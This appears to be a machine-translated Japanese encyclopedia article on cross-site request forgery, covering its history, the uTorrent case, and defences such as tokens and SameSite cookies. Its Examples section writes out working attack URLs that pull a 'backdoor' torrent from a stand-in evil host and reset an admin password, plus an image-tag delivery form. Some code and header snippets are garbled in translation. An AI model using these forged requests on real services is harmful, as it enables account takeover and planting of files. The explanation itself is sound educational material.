Loading article…
クロスサイトリクエストフォージェリは、ワンクリック攻撃やセッションライディングとも呼ばれ、CSRF（シーサーフ[1]と発音されることもある）またはXSRFと略される、ウェブサイトまたはウェブアプリケーションの悪質なエクスプロイトの一種であり、ウェブアプリケーションが信頼するユーザーから許可されていないコマンドが送信されます。[2]悪質なウェブサイトがこのようなコマンドを送信する方法は多数あります。たとえば、特別に細工された画像タグ、隠しフォーム、JavaScriptフェッチまたはXMLHttpRequestsはすべて、ユーザーの操作や認識がなくても機能します。ユーザーが特定のサイトに対して抱いている信頼を悪用するクロスサイトスクリプティング（XSS）とは異なり、CSRFはサイトがユーザーのブラウザに対して抱いている信頼を悪用します。[3] CSRF攻撃では、無実のエンドユーザーが攻撃者に騙されて、意図しないウェブリクエストを送信してしまいます。これにより、Web サイトで、クライアントまたはサーバーの不注意によるデータ漏洩、セッション状態の変更、エンド ユーザーのアカウントの操作などのアクションが実行される可能性があります。
「CSRF」という用語は、ヘッダー データ、フォーム データ、または Cookie を使用して CSRF 攻撃をテストし、防止する手法など、CSRF 攻撃に対する防御の略語としても使用されます。
特徴
CSRF 攻撃では、攻撃者の目的は、無実の被害者が知らないうちに、被害者が特権アクセスを持つ Web サイトに悪意を持って作成された Web リクエストを送信させることです。この Web リクエストは、リクエストを処理する Web サーバーにとって正常であるように見える URL パラメータ、Cookie、およびその他のデータを含むように細工することができます。危険にさらされるのは、信頼され認証されたユーザーからの入力に基づいてアクションを実行し、ユーザーに特定のアクションを承認させる(ポップアップ確認など) 必要のない Web アプリケーションです。ユーザーのWeb ブラウザーに保存されたCookieによって認証されたユーザーは、知らないうちに、そのユーザーを信頼しているサイトにHTTPリクエストを送信し、望ましくないアクションを引き起こす可能性があります。
Web ブラウザの一般的な特性として、特定のドメインが使用するすべての Cookie (セッション Cookie など) が、そのドメインに送信されるすべての Web リクエストに自動的に、目に見えない形で組み込まれます。この特性は、CSRF 攻撃によって悪用されます。ユーザーが騙されてブラウザから誤ってリクエストを送信した場合、自動的に組み込まれたこれらの Cookie により、偽造されたリクエストが Web サーバーに本物のように見え、データの返送、セッション状態の操作、被害者のアカウントの変更など、適切に要求されたアクションが実行されます。
CSRF 攻撃を成功させるには、攻撃者は、ターゲット ページでアカウント パスワードを変更するなどの特定のアクションを実行する再現可能な Web リクエストを特定する必要があります。このようなリクエストが特定されると、この悪意のあるリクエストを生成するリンクが作成され、そのリンクが攻撃者の管理下にあるページに埋め込まれます。[1] [4]このリンクは、被害者がリンクをクリックする必要すらないような方法で配置される場合があります。たとえば、被害者に送信された電子メールの HTML 画像タグ内に埋め込まれ、被害者が電子メールを開くと自動的に読み込まれる場合があります。被害者がリンクをクリックすると、ブラウザはその Web サイトで使用されるすべての Cookie を自動的に含め、リクエストを Web サーバーに送信します。リクエストはログインしたユーザーによって行われ、必要なすべての Cookie が送信されているため、Web サーバーは偽造を識別できません。
クロスサイト リクエスト フォージェリは、権限の低い攻撃者によって Web ブラウザーが騙されて偽造されたリクエストを送信するため、Web ブラウザーに対する 混乱した代理人攻撃の一例です。
CSRF には一般的に次のような特徴があります。
- これには、ユーザーのIDに依存するサイトが含まれます。
- それは、そのアイデンティティに対するサイトの信頼を悪用します。
- ユーザーのブラウザを騙して、ユーザーがすでに認証されているターゲット サイトにHTTPリクエストを送信させます。
- 副作用のある HTTP リクエストが関係します。
歴史
CSRFトークンの脆弱性は2001年から知られており、場合によっては悪用されています。[5]ユーザーのIPアドレスから実行されるため、一部のWebサイトのログにはCSRFの証拠がない可能性があります。[2]少なくとも公的には、悪用は十分に報告されておらず、2007年時点では[6]十分に文書化された例はほとんどありませんでした。
- 2006年のNetflixのウェブサイトにはCSRFに対する脆弱性が多数存在し、攻撃者は被害者のレンタルキューにDVDを追加したり、アカウントの配送先住所を変更したり、被害者のログイン資格情報を変更してアカウントを完全に侵害したりするなどの操作を実行できた可能性があります。[7]
- ING Directのオンラインバンキングウェブアプリケーションは、不正な送金を可能にするCSRF攻撃に対して脆弱でした。[8]
- 人気動画サイトYouTubeも2008年にCSRFの脆弱性を突かれ、攻撃者はユーザーのほぼすべてのアクションを実行できるようになりました。[8]
- McAfee SecureもCSRFに対して脆弱であり、攻撃者が会社のシステムを変更することを可能にしていました。これは新しいバージョンで修正されています。[9]
例
攻撃者は、被害者がログインしている間にターゲット ページで特定のアクションを実行する再現可能なリンクを見つけると、自分が管理するページにそのリンクを埋め込み、被害者をだましてそのリンクを開かせることができます。[1]攻撃の媒体となるリンクは、被害者がターゲット サイトにログインしているときに訪れる可能性が高い場所 (ディスカッション フォーラムなど) に配置されるか、HTML 形式の電子メールの本文または添付ファイルで送信されます。uTorrent の実際の CSRF 脆弱性(CVE-2008-6586) は、localhost :8080でアクセスできる Web コンソールで、単純な GET 要求を使用して重要なアクションを実行できるという事実を悪用しました。
- .torrentファイルのダウンロードを強制する
- http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent
- uTorrent管理者パスワードを変更する
- http://localhost:8080/gui/?action=setsetting&s=webui.password&v=eviladmin
攻撃は、フォーラムや電子メールのスパムに悪意のある自動アクションHTML 画像要素を配置することで開始され、これらのページにアクセスしたブラウザーは、ユーザーの操作をほとんど必要とせずに、それらのページを自動的に開くようになります。これらのページを開くと同時に脆弱な uTorrent バージョンを実行しているユーザーは、攻撃の影響を受けやすい状態になります。
画像タグを使用した CSRF 攻撃は、多くの場合、ユーザーが画像の投稿は許可されているがJavaScript の投稿は許可されていないインターネット フォーラムから行われます(例: BBCodeを使用)。
[画像] http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent [/画像]
localhost:8080のローカル uTorrent アプリケーションへの攻撃リンクにアクセスすると、ブラウザは常にそのドメインの既存のCookie を自動的に送信します。Web ブラウザのこの一般的な特性により、攻撃時にユーザーがターゲット Web サイト (この例では、ローカル uTorrent Web インターフェイス) にログインしている限り、CSRF 攻撃は標的の脆弱性を悪用して敵対的なアクションを実行できます。
上記の uTorrent の例では、uTorrent の Web インターフェイスが、状態を変更する重要な操作 (資格情報の変更、ファイルのダウンロードなど) にGET リクエストを使用していたため、攻撃が容易になりました。これは、RFC 2616 で明示的に推奨されていません。
特に、GET メソッドと HEAD メソッドは、取得以外のアクションを実行する意味を持つべきではないという規則が確立されています。これらのメソッドは「安全」であると見なされるべきです。これにより、ユーザー エージェントは、POST、PUT、DELETE などの他のメソッドを特別な方法で表現できるため、ユーザーは、安全でない可能性のあるアクションが要求されているという事実を認識できます。
この仮定のため、Webフレームワークの既存のCSRF防止メカニズムの多くはGETリクエストをカバーせず、状態変更を意図したHTTPメソッドにのみ保護を適用します。[10]
ログインリクエストの偽造
攻撃者は、自分の認証情報を使用して、被害者を標的のウェブサイトにログインさせるためのリクエストを偽造することがあります。これはログインCSRFとして知られています。ログインCSRFにより、さまざまな新しい攻撃が可能になります。たとえば、攻撃者は後で正当な認証情報を使用してサイトにログインし、アカウントに保存されているアクティビティ履歴などの個人情報を閲覧することができます。この攻撃は、 Google [11]とYahoo [12]に対して実証されています。
HTTP 動詞と CSRF
HTTP リクエストメソッドは、その種類によってCSRF 攻撃を受けやすいかどうかが異なります ( Web ブラウザによる処理の違いによる)。そのため、攻撃に対する防御策は HTTP リクエストのメソッドによって異なります。
- HTTP GETでは、操作されたパラメータを含み、IMG タグによって自動的に読み込まれる単純なハイパーリンクなど、上記の方法を使用すると、CSRF の悪用は簡単です。ただし、HTTP 仕様では、GET は安全な方法、つまりアプリケーション内のユーザーの状態を大幅に変更しない方法として使用する必要があります。このような操作に GET を使用するアプリケーションは、HTTP POSTに切り替えるか、CSRF 対策を使用する必要があります。
- CSRF に対するHTTP POST の脆弱性は、使用シナリオによって異なります。
- クエリ文字列( )としてエンコードされたデータを含む最も単純な形式の POST では、
field1=value1&field2=value2単純なHTML フォームを使用して CSRF 攻撃が簡単に実装されるため、CSRF 対策を適用する必要があります。 - データが他の形式（JSON、XML）で送信される場合、標準的な方法は、同一生成元ポリシー（SOP）とクロスオリジンリソース共有（CORS）によってCSRF攻撃を防止したXMLHttpRequestを使用してPOSTリクエストを発行することです。属性を使用して単純なHTMLフォームから任意のコンテンツを送信する手法があります。このような偽のリクエストはコンテンツタイプによって正当なリクエストと区別できますが、サーバーでこれが強制されていない場合、CSRFが実行される可能性があります[13] [14]
ENCTYPEtext/plain
- クエリ文字列( )としてエンコードされたデータを含む最も単純な形式の POST では、
- その他のHTTPメソッド（PUT、DELETEなど）は、CSRFを防止する同一オリジンポリシー（SOP）とクロスオリジンリソース共有（CORS）を備えたXMLHttpRequestを使用してのみ発行できます。ただし、これらの対策は、ヘッダーを使用して明示的に無効にしているWebサイトでは有効になりません。
Access-Control-Allow-Origin: *
CSRFに対する他のアプローチ
さらに、CSRF は一般的には静的なタイプの攻撃として説明されていますが、Samyワームで実証されているように、クロスサイト スクリプティング攻撃のペイロードの一部として動的に構築されることもあります。また、オフサイト コンテンツから漏洩したセッション情報からオンザフライで構築され、悪意のある URL としてターゲットに送信されることもあります。CSRF トークンは、セッション固定やその他の脆弱性により攻撃者によってクライアントに送信されたり、ブルート フォース攻撃によって推測され、何千もの失敗したリクエストを生成する悪意のあるページにレンダリングされたりする可能性があります。「動的 CSRF」の攻撃クラス、つまりセッション固有の偽造にクライアントごとのペイロードを使用する攻撃クラスは、2009 年に Nathan Hamiel と Shawn Moyer によって BlackHat Briefings [16]で説明されましたが、この分類法はまだ広く採用されていません。
動的なCSRF攻撃を構成するための新しいベクトルは、2012年1月に地元のOWASP支部会議でOren Oferによって発表されました - 「AJAX Hammer - 動的CSRF」。[17] [18]
効果
ルート権限によるリモートコード実行につながるCSRFトークンの脆弱性[19]や、ルート証明書を侵害して公開鍵基盤を完全に破壊する脆弱性に対して、深刻度メトリックが発行されています。[20]
制限事項
クロスサイト リクエスト フォージェリが成功するには、いくつかのことが起こる必要があります。
- 攻撃者は、リファラーヘッダーをチェックしないサイト、またはリファラーのなりすましを許可するブラウザやプラグインを使用している被害者をターゲットにする必要があります。[21]
- 攻撃者は、ターゲット サイトでフォーム送信を見つけるか、副作用のある URL を見つけて、何かを実行する必要があります (例: 送金、被害者の電子メール アドレスやパスワードの変更)。
- 攻撃者は、すべてのフォームまたは URL 入力の正しい値を決定する必要があります。攻撃者が推測できない秘密の認証値または ID が必要な場合は、攻撃が失敗する可能性が高くなります (攻撃者が非常に幸運にも推測できた場合を除きます)。
- 攻撃者は、被害者がターゲット サイトにログインしている間に、悪意のあるコードを含む Web ページに被害者を誘導する必要があります。
この攻撃は盲目的です。つまり、攻撃者は、クロスサイトスクリプティングや標的のウェブサイトのその他のバグを利用しない限り、偽造されたリクエストに対する応答として標的のウェブサイトが被害者に何を返すかを見ることができません。同様に、攻撃者は、後続のリンクやフォームが同様に予測可能である場合にのみ、最初の偽造リクエストの後に表示されるリンクをターゲットにしたり、フォームを送信したりできます。(複数のターゲットをシミュレートするには、ページに複数の画像を含めるか、JavaScriptを使用してクリック間に遅延を導入します。) [22]
防止
ほとんどの CSRF 防止技術は、追加の認証データをリクエストに埋め込むことで機能し、Web アプリケーションが不正な場所からのリクエストを検出できるようにします。
シンクロナイザートークンパターン
シンクロナイザー トークン パターン (STP) は、各リクエストの秘密の一意の値であるトークンが Web アプリケーションによってすべての HTML フォームに埋め込まれ、サーバー側で検証される手法です。トークンは、予測不可能で一意性を保証する任意の方法で生成できます (たとえば、ランダム シードのハッシュ チェーンを使用)。これは、ASP.NET では偽造防止トークンと呼ばれます。そのため、攻撃者は正しいトークンをリクエストに配置して認証することはできません。[1] [23] [24]
DjangoによってHTML フォームに 設定された STP の例:
<入力タイプ = "hidden"名前 = "csrfmiddlewaretoken"値 = "KbyUmhTLMpYj7CD2di7JKP1P3qmLlkPt" />
STP は HTML のみに依存するため、最も互換性が高いですが、リクエストごとにトークンの有効性を確認することに伴う負担により、サーバー側で多少の複雑さが生じます。トークンは一意で予測不可能であるため、適切なイベントのシーケンス (画面 1、2、3 など) も強制され、ユーザビリティの問題 (ユーザーが複数のタブを開くなど) が発生します。リクエストごとの CSRF トークンではなく、セッションごとの CSRF トークンを使用することで、この問題を緩和できます。
Cookie-ヘッダートークン
操作の大部分にJavaScript を使用する Web アプリケーションでは、次の CSRF 対策技術を使用できます。
- 関連するサーバーセッションなしでの最初の訪問では、WebアプリケーションはCookieを設定します。Cookieには通常、Webセッションの存続期間中同じままになるランダムトークンが含まれます。
Set-Cookie: __Host-csrf_token=i8XNjC4b8KVok4uw5RftR38Wgp2BFwql; 有効期限=Thu, 23-Jul-2015 10:25:33 GMT; Max-Age=31449600; Path=/; SameSite=Lax; セキュア
- クライアント側で動作するJavaScriptは値を読み取り、各トランザクションリクエストで送信されるカスタムHTTPヘッダーにコピーします。
X-Csrf-トークン: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql
- サーバーはトークンの存在と整合性を検証します
この手法のセキュリティは、最初に Cookie を設定したサーバーへの HTTPS 接続のクライアント側で実行されているJavaScriptのみが Cookie の値を読み取ることができるという前提に基づいています。不正なファイルまたは電子メールから実行されている JavaScript は、カスタム ヘッダーにコピーする Cookie 値を正常に読み取ることができません。 csrf-token Cookie が不正なリクエストとともに自動的に送信される場合でも、Cookie の SameSite ポリシーに従って、サーバーは有効なX-Csrf-Tokenヘッダーを期待します。
CSRF トークン自体は一意で予測不可能である必要があります。ランダムに生成される場合もあれば、HMAC を使用してセッション トークンから派生される場合もあります。
csrf_token = HMAC(セッショントークン、アプリケーションシークレット)
CSRF トークン クッキーは設計上 JavaScriptによって読み取られることを意図しているため、httpOnlyフラグを設定してはなりません。
この技術は、 Django [25]やAngularJS [26]などの多くの最新フレームワークで実装されています。トークンはユーザーセッション全体にわたって一定であるため、AJAXアプリケーションではうまく機能しますが、Webアプリケーションでのイベントの順序を強制しません。
対象の Web サイトが次のいずれかの手法を使用して 同一生成元ポリシーを無効にした場合、この手法によって提供される保護は妨げられる可能性があります。
- clientaccesspolicy.xmlファイルがSilverlightコントロールへの意図しないアクセスを許可する[27]
- crossdomain.xmlファイルによるFlashムービーへの意図しないアクセスの許可[28]
ダブル送信クッキー
クッキーからヘッダーへのアプローチと同様ですが、JavaScript を介さずに、サイトは CSRF トークンをクッキーとして設定し、各 HTML フォームに隠しフィールドとして挿入することもできます。フォームが送信されると、サイトはクッキー トークンがフォーム トークンと一致するかどうかを確認できます。同一生成元ポリシーにより、攻撃者はターゲット ドメインでクッキーを読み取ったり設定したりすることができず、有効なトークンを細工したフォームに挿入することはできません。[29]
Synchronizer パターンと比較したこの手法の利点は、トークンをサーバーに保存する必要がないことです。
SameSite クッキー属性
サーバーがクッキーを設定するときに追加の「SameSite」属性を含めることができ、ブラウザにクロスサイトリクエストにクッキーを添付するかどうかを指示します。この属性が「strict」に設定されている場合、クッキーは同じサイトリクエストにのみ送信され、CSRFは無効になります。ただし、これにはブラウザが属性を認識し、正しく実装する必要があります。[30]
クライアント側の安全対策
RequestPolicy ( Mozilla Firefox用) や uMatrix (Firefox とGoogle Chrome / Chromium用)などのブラウザ拡張機能は、クロスサイト リクエストに対してデフォルトで拒否ポリシーを提供することで CSRF を防ぐことができます。ただし、これは多くの Web サイトの通常の動作に重大な支障をきたす可能性があります。CsFire 拡張機能 (Firefox 用) は、クロスサイト リクエストから認証情報を削除することで、通常のブラウジングへの影響を抑えながら CSRF の影響を軽減できます。
Firefox のNoScript拡張機能は、信頼できるサイトと信頼できないサイトを区別し、信頼できないサイトから信頼できるサイトに送信された POST リクエストから認証とペイロードを削除することで、CSRF の脅威を軽減します。NoScript の Application Boundary Enforcer モジュールは、インターネット ページからローカル サイト (localhost など) に送信されるリクエストもブロックし、ローカル サービス (uTorrent など) やルーターへの CSRF 攻撃を防ぎます。
Firefox の Self Destructing Cookies 拡張機能は、CSRF から直接保護するものではありませんが、開いているタブに関連付けられなくなった Cookie をすぐに削除することで、攻撃期間を短縮できます。
その他のテクニック
歴史的には、CSRF 防止のためにさまざまな他の手法が使用または提案されてきました。
- リクエストのヘッダーに
X-Requested-With（Ruby on Rails v2.0以前およびDjango v1.2.5以前で使用）が含まれていることを確認するか、HTTPRefererヘッダーと/またはHTTPOriginヘッダーをチェックします。[31] - HTTP
Refererヘッダーをチェックして、リクエストが承認されたページから来ているかどうかを確認する方法は、メモリ要件を増やさないため、組み込みネットワーク デバイスでよく使用されます。ただし、Referer攻撃者はRefererFTP または HTTPS URL からリクエストを発行してヘッダーを抑制することができるため、ヘッダーを省略したリクエストは承認されていないものとして扱う必要があります。この厳格なReferer検証により、Refererプライバシー上の理由でヘッダーを省略するブラウザーやプロキシで問題が発生する可能性があります。また、古いバージョンの Flash (9.0.18 より前) では、悪意のある Flash がCRLF インジェクションを使用して任意の HTTP リクエスト ヘッダーを持つ GET または POST リクエストを生成することができます。[32]クライアントの同様の CRLF インジェクションの脆弱性は、HTTP リクエストのリファラーを偽装するために使用できます。 - POSTリクエストメソッドは、しばらくの間、URL 内のパラメータを使用する些細な CSRF 攻撃 (GET メソッドを使用) の影響を受けないと考えられていました。しかし、現在では、POST と他の HTTP メソッドの両方をXMLHttpRequestを使用して簡単に実行できます。予期しない GET リクエストをフィルタリングすることで、悪意のある画像 URL やリンク アドレスを使用したクロスサイト攻撃や、要素を介したクロスサイト情報漏洩( JavaScript ハイジャック
<script>) などの特定の攻撃を防ぐことができます。また、積極的なWeb クローラーやリンク プリフェッチによる (セキュリティに関連しない) 問題も防ぐことができます。[1]
クロスサイトスクリプティング（XSS）の脆弱性（同じドメインで実行されている他のアプリケーションであっても）により、攻撃者は基本的にすべてのCSRF防止策を回避できます。[33]
参照
参考文献
- ^ abcde Shiflett, Chris (2004 年 12 月 13 日)。「セキュリティ コーナー: クロスサイト リクエスト フォージェリ」。php|architect (shiflett.org 経由) 。2008年 7 月 3 日閲覧。
- ^ ab リスティック、イワン (2005)。Apache のセキュリティ。オライリーメディア。 p. 280.ISBN 0-596-00724-8。
- ^ 「クロスサイトリクエストフォージェリ (CSRF) とは何か、どのように機能するのか? | Synopsys」。
- ^ 「CSRF (クロスサイトリクエストフォージェリ) とは? チュートリアルと例」。portswigger.net 。2019年11月4日閲覧。
- ^ Burns, Jesse (2005). 「クロスサイトリクエストフォージェリ: 一般的な Web の弱点の紹介」(PDF) 。Information Security Partners, LLC。2013年 1 月 21 日のオリジナル(PDF)からアーカイブ。2011年 12 月 12 日に取得。
- ^ Christey, Steve; Martin, Robert A. (2007 年 5 月 22 日)。「CVE の脆弱性タイプ分布 (バージョン 1.1)」。MITRE Corporation。2008年 6 月 7 日閲覧。
- ^ Washkuch Jr., Frank (2006年10月17日). 「Netflixがクロスサイトリクエストフォージェリのホールを修正」. SC Magazine . 2019年2月11日閲覧。
- ^ William Zeller、Edward W. Felten (2008年10月)。「クロスサイトリクエストフォージェリ：悪用と防止」（PDF） 。 2015年5月29日閲覧。
- ^ Mike, Bailey (2009). 「CSRF: ええ、まだ機能します…」(PDF) . DEFCON.
- ^ 「クロスサイトリクエストフォージェリ保護 | Django ドキュメント | Django」。docs.djangoproject.com 。 2015 年 8 月 21 日閲覧。
- ^ Adam Barth、Collin Jackson、John C. Mitchell、「クロスサイトリクエストフォージェリに対する堅牢な防御」、第 15 回 ACM コンピュータおよび通信セキュリティ会議の議事録、 ACM 2008
- ^ Joseph Foulds、パッシブモニタリングログインリクエスト偽造、Yahoo、2014年12月22日アーカイブ、Wayback Machine
- ^ 「XML 本文を含む POST リクエストに対するクロスサイト リクエスト フォージェリ」。 pentestmonkey 。 2015 年9 月 4 日閲覧。
- ^ Sheeraj Shah (2008). 「Web 2.0 ハッキング - Ajax と Web サービスの防御」(PDF) . HITB . 2015 年9 月 4 日閲覧。
- ^ 「セキュリティ修正 - Web 2.0 の武器化」。2012 年 5 月 28 日時点のオリジナルよりアーカイブ。
- ^ 動的 CSRF 2010-02-13 にWayback Machineにアーカイブされました
- ^ Owasp.org: イスラエル 2012/01: AJAX ハンマー – CSRF 攻撃に AJAX を利用する 2013-10-01 にWayback Machineでアーカイブ
- ^ ダウンロード – hasc-research – hasc-research – Google プロジェクト ホスティング。Code.google.com (2013-06-17)。2014-04-12 に取得。
- ^ 「脆弱性ノート VU#584089 - cPanel XSRF の脆弱性」。
- ^ 「脆弱性ノート VU#264385 - OpenCA によりクロスサイトリクエストフォージェリ (XSRF) が可能になる」。
- ^ 「強化されたクロスサイト攻撃防止」Espacenet . 欧州特許庁. 2019年11月21日閲覧。
- ^ 「CSRF: クロスサイトリクエストフォージェリ攻撃の説明」IONOS Digitalguide . 2022年4月26日閲覧。
- ^ 「クロスサイトリクエストフォージェリ (CSRF) 防止チートシート」。OWASP 。 2019年7月19日閲覧。
- ^ 「Valhalla の記事 - クロスサイト リクエスト フォージェリ: 解明」。2014 年 1 月 29 日時点のオリジナルよりアーカイブ。
- ^ 「クロスサイトリクエストフォージェリ保護」。Django。2015年1月20日時点のオリジナルよりアーカイブ。2015年1月20日閲覧。
- ^ 「クロスサイトリクエストフォージェリ (XSRF) 保護」。AngularJS。2015年 1 月 20 日閲覧。
- ^ 「ドメイン境界を越えてサービスを利用可能にする」
- ^ Adamski、Lucas。「Flash Player のクロスドメイン ポリシー ファイルの使用に関する推奨事項 - Adobe Developer Connection」。
- ^ 「二重送信 Cookie 防御」。OWASP。
- ^ 「SameSite クッキー」。Mozilla。2023年4月10日。
- ^ Origin Header Proposal Archived 2016-03-08 at the Wayback Machine . People.mozilla.org. 2013-07-29 に取得。
- ^ “Secunia Advisory SA22467”.セクニア。 2006 年 10 月 19 日。2012 年9 月 11 日に取得。
- ^ Schneider, Christian. 「CSRF および同一生成元 XSS」。2012 年 8 月 14 日時点のオリジナルよりアーカイブ。2012年 4 月 21 日閲覧。
外部リンク
- クロスサイトリクエストフォージェリに関する最も無視されている事実
- クロスサイトリクエストフォージェリに関するよくある質問
- Web アプリケーション セキュリティ コンソーシアム脅威分類プロジェクトによるクロスサイト リクエスト フォージェリ